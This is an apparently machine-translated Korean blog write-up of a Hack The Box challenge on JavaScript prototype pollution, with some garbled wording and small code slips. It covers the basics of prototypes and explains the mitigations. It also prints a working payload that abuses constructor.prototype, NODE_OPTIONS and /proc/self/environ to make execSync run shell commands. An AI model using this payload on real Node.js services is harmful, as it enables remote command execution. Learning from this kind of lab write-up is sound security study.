__원생 오염

최근에 나는 해커 상자를 만들어 원형 오염을 개발로 사용하고 있다. 나는 내가 배운 것을 공유할 것이라고 생각한다.

물체


먼저 알아야 할 것은 JavaScript의 객체이기 때문에 하나 만듭니다.그것들은 두 가지 주요 방식을 통해 만들 수 있다. 즉, 값을 만드는 변수 집합이나 클래스 구조 함수를 통해 만들 수 있다.
값의 객체 컬렉션을 작성하려면 다음과 같이 하십시오.
let myPersonObj = {
   "name": "Jason",
   "age": 31,
   "home": "Here",
   "job": True,
   "pets": ["Willow", "Cooper"]
}
JavaScript에서 객체를 만들 때 괄호 {}로 둘러싸인 키/값 쌍을 포함하여 특정 기호(JSON)를 사용합니다. 쉼표로 구분하고, 키와 값은 사칭으로 구분하며, 키는 문자열이어야 합니다.
구조 함수를 통해 대상을 만들 수도 있습니다.구조 함수를 사용하려면 이전 예시와 같은 JavaScript 객체 표현이 필요하지만 함수를 사용하면 더욱 쉬워집니다.
function newPersonObj(name, age, home, job, pets) {
   this.name = name;
   this.age = age;
   this.home= home;
   this.job= job;
   this.pets= pets;
}
함수를 호출하고 그 값을 전달함으로써 대량의 대상을 만들어야 할 때, 구조 함수를 사용하면 더욱 큰 유연성을 허용한다.
let myFriend1 = new newPersonObj("Jason", 30, "Seattle", true, ["Willow", "Cooper"])

유산


우리는 JavaScript가 대상을 대상으로 하는 프로그래밍 언어라는 것을 알고 있지만, 또한'원형 기반 프로그래밍'언어라고도 부른다.
원형 기반 프로그램에서 대상은 클래스로부터 속성/방법을 계승한다.이 클래스들은 다른 클래스에 속성/방법을 추가하거나 빈 대상에 추가하여 파생됩니다.(1) (기본적으로 모든 것은 하나의 대상이다. 다른 대상의 속성/방법에서 그 속성/방법을 계승하거나 창설한다.)
그 밖에 모든 대상은 다른 대상의 원형으로 연결될 수 있으며, 두 번째 대상은 첫 번째 대상의 속성을 공유할 수 있다(4) JavaScript에는 각 객체에 원형이 있으므로 다른 객체에 연결할 수 있고 객체 구조 함수에 새 속성을 추가할 수 있습니다.

위의 예에서 myFriend1은 myPerson Obj에서 왔으며 그 자체가 대상이다.null의 원형.
또한 myPerson Obj와 같은 원형으로 사용되는 객체에 속성을 추가하면 원형으로 된 객체도 새 속성을 얻을 수 있지만 특별히 호출되지 않으면 이 속성을 인쇄하지 않습니다.

현재, 만약 우리가 브라우저에서 같은 대상을 구축한다면, 우리는 대상 (myFriend1)의 분해, 그 원형 (보지 못했지만:object {gender:"male",...}) 을 볼 수 있습니다.및 그 원형 구조 함수(newPersonObj).

각 단계의 원형은 구조 함수와 원형이 있다는 것을 알 수 있습니다.만약 네가 정말 그것들을 열었다면, 그것은 무궁무진하고 중복된 것 같았다.

원형 오염


원형과 계승에 대해 조금 알았으니 오염시킬 때가 됐다.
이거 생각해봐...

"When new objects are created, they carry over the properties and methods of the prototype “object”, which contains basic functionalities such as toString, constructor, and hasOwnProperty." (5)


이러한 링크로 인해 JavaScript 객체의 "__proto__"속성에 액세스하여 모든 객체를 응용 프로그램 범위에서 변경할 수 있습니다.
아래 코드를 보면 이 HTB의 일반적인 정보 흐름을 볼 수 있습니다.
- 색인은 ObjectHelper에서 Clone()을 호출합니다.
-Clone () 은 isValidKey () 를 사용하여 키가 "__proto__"가 아닌지 확인한 다음 isObject () 에 전달하여 객체인지 함수인지 확인합니다.
- 완료되면 인덱스에서 StudentHelper 파일의 isDumb () 를 호출하여 게시 중인 이름이 제한된 두 이름 중 하나인지 확인합니다.찾으면 "no00o0o00oope"로 돌아갑니다.

인덱스는 디버그 파일을 호출하여 전달할 수도 있습니다.DebugHelper 파일에서 잘못된 RAM 작업과 화면에서 버전 재조정 작업이 반환됩니다.

RAM 작업의 오류를 보면 execSync 하위 프로세스와 대상을 볼 수 있습니다.집행 조수...흥미롭다

ChildProcess는 EventEmitter로 execSync () 방법으로 셸 실행 명령을 만듭니다. 이 명령은 하위 프로세스가 완전히 닫히기 전에 되돌아오지 않습니다.

이번 습격


흔히 볼 수 있는 원형 오염은'__proto__'속성을 포함하는 유효한 하중을 사용하여 이루어졌지만, 위에서 보듯이 이것은 옵션이 아니다. 왜냐하면 이것은 검사를 거쳤기 때문이다.그래서 { “name” : “Cat”, "__proto__" : { "pass" : true } } 같은 것은 통하지 않는다.
대량의 연구를 통해 나는 "키바나에서 원형 오염인 RCE(CVE-2019-7609)를 개발했다"는 문장을 발견하였다(8) 본고는 "Linux에서/proc/self/environ이라는 파일이 있습니다. 현재 프로세스의 모든 환경 변수를 보여 줍니다."
여기서 우리는 다음과 같은 유효한 하중을 구성하여 표지를 찾을 수 있다.
{
 "name":"Cat",
 "constructor":{
    "prototype":{
      "env":{ 
         "EVIL":"console.log(
            require('child_process').execSync('cat flag_*').toString())//"
      },
      "NODE_OPTIONS":"--require /proc/self/environ"
    }
  }
}
이 로드는 원형 체인을 위로 이동하여 두 개의 환경 변수 (EVEL 및 NODE_ 옵션) 를 설정하여 개체 원형을 오염시킵니다.NODE\u 옵션은 환경 변수에 대한 접근 권한을 얻고, EVIL은 execSync () 를 사용하며, bash 셸을 이용하여 사이트의 로고 파일에 대한 접근 권한을 얻고, console log 명령을 사용하여 페이지에 표시합니다.
유효한 하중 작업을 하기 위해서는 이를 사이트의 한 줄에 올려야 한다.이것은 학생 이름에 대한 POST 요청을 통해 이루어진 것이다.

만약 우리가 디버그 페이지로 돌아가서 버전 조작을 사용한다면, 그것은 작용하지 않을 것 같지만, 우리는 표지 파일을 읽을 수 있다.

사후 사고


다음은 컨트롤러의 "ls"에 표시된 내용을 볼 수 있습니다."cat"명령이 아니라 로그입니다.

아주 재미있는 것은 이 부하를 통해 모든 bash 명령이 발송될 것 같다는 것이다...생각해봐.

완화 조치

  • 데이터를 처리하기 전에 서버 측과 클라이언트가 사용자의 입력을 검증합니다.
  • 클론 작업은 기본적으로 빈 객체에 대한 결합 작업이므로 조심해야 합니다.
  • 코드 심사와 침투 테스트를 정기적으로 실시하도록 확보한다.
  • 쾌락 해커

    리소스:

  • https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Inheritance
  • https://www.w3schools.com/js/js_object_prototypes.asp
  • https://www.w3schools.com/js/js_object_prototypes.asp
  • https://medium.com/@theflyingmantis/javascript-a-prototype-based-language-7e814cc7ae0b
  • https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications
  • https://node.readthedocs.io/en/stable/api/child_process/
  • https://nodejs.org/api/child_process.html#child_process_child_process_execsync_command_options
  • https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
  • 주의: 저는 여전히 공부하고 있습니다. 만약 제가 말한 것이 정확하지 않다면 저에게 알려주십시오.나는 내가 완전히 이해하지 못할 수도 있는 더 많은 것을 알고 싶다.

    좋은 웹페이지 즐겨찾기